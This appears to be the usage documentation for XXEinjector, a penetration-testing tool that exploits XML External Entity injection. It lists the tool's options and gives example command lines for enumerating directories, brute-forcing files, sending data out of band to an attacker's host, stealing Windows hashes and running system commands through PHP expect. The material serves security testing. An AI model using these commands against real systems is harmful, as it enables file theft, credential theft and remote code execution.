XXEinjector

XXEinjector automates retrieving files using direct and out of band methods. Directory listing only works in Java applications. Bruteforcing method needs to be used for other applications.

Options:

  --host	    Mandatory - our IP address for reverse connections. (--host=192.168.0.2)
  --file	    Mandatory - file containing valid HTTP request with xml. You can also mark with "XXEINJECT" a point where DTD should be injected. (--file=/tmp/req.txt)
  --path	    Mandatory if enumerating directories - Path to enumerate. (--path=/etc)
  --brute	    Mandatory if bruteforcing files - File with paths to bruteforce. (--brute=/tmp/brute.txt)
  --logger	    Log results only. Do not send requests. HTTP logger looks for "p" parameter with results.
  
  --rhost	    Remote host's IP address or domain name. Use this argument only for requests without Host header. (--rhost=192.168.0.3)
  --rport	    Remote host's TCP port. Use this argument only for requests without Host header and for non-default values. (--rport=8080)

  --oob		    Out of Band exploitation method. FTP is default. FTP can be used in any application. HTTP can be used for bruteforcing and enumeration through directory listing in Java < 1.7 applications. Gopher can only be used in Java < 1.7 applications. (--oob=http/ftp/gopher)
  --direct	    Use direct exploitation instead of out of band. Unique mark should be specified as a value for this argument. This mark specifies where results of XXE start and end. Specify --xml to see how XML in request file should look like. (--direct=UNIQUEMARK)
  --cdata	    Improve direct exploitation with CDATA. Data is retrieved directly, however OOB is used to construct CDATA payload. Specify --cdata-xml to see how request should look like in this technique.
  --2ndfile	    File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt)
  --phpfilter	Use PHP filter to base64 encode target file before sending.
  --netdoc      Use netdoc protocol instead of file (Java).
  --enumports	Enumerating unfiltered ports for reverse connection. Specify value "all" to enumerate all TCP ports. (--enumports=21,22,80,443,445)

  --hashes	    Steals Windows hash of the user that runs an application.
  --expect	    Uses PHP expect extension to execute arbitrary system command. Best works with HTTP and PHP filter. (--expect=ls)
  --upload	    Uploads specified file using Java jar schema into temp file. (--upload=/tmp/upload.txt)
  --xslt	    Tests for XSLT injection.

  --ssl		    Use SSL.
  --proxy	    Proxy to use. (--proxy=127.0.0.1:8080)
  --httpport	Set custom HTTP port. (--httpport=80)
  --ftpport	    Set custom FTP port. (--ftpport=21)
  --gopherport	Set custom gopher port. (--gopherport=70)
  --jarport	    Set custom port for uploading files using jar. (--jarport=1337)
  --xsltport	Set custom port for XSLT injection test. (--xsltport=1337)

  --test	    This mode shows request with injected payload and quits. Used to verify correctness of request without sending it to a server.
  --urlencode	URL encode injected DTD. This is default for URI.
  --nodtd	    If you want to put DTD in request by yourself. Specify "--dtd" to show how DTD should look like.
  --output	    Output file for bruteforcing and logger mode. By default it logs to brute.log in current directory. (--output=/tmp/out.txt)
  --timeout	    Timeout for receiving file/directory content. (--timeout=20)
  --contimeout	Timeout for closing connection with server. This is used to prevent DoS condition. (--contimeout=20)
  --fast	    Skip asking what to enumerate. Prone to false-positives.
  --verbose	    Show verbose messages.

Example usage:

  Enumerating /etc directory in HTTPS application:
  ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
  Enumerating /etc directory using gopher for OOB method:
  ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
  Second order exploitation:
  ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt
  Bruteforcing files using HTTP out of band method and netdoc protocol:
  ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc
  Enumerating using direct exploitation:
  ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
  Enumerating unfiltered ports:
  ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
  Stealing Windows hashes:
  ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
  Uploading files using Java jar:
  ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
  Executing system commands using PHP expect:
  ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls
  Testing for XSLT injection:
  ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt
  Log requests only:
  ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt
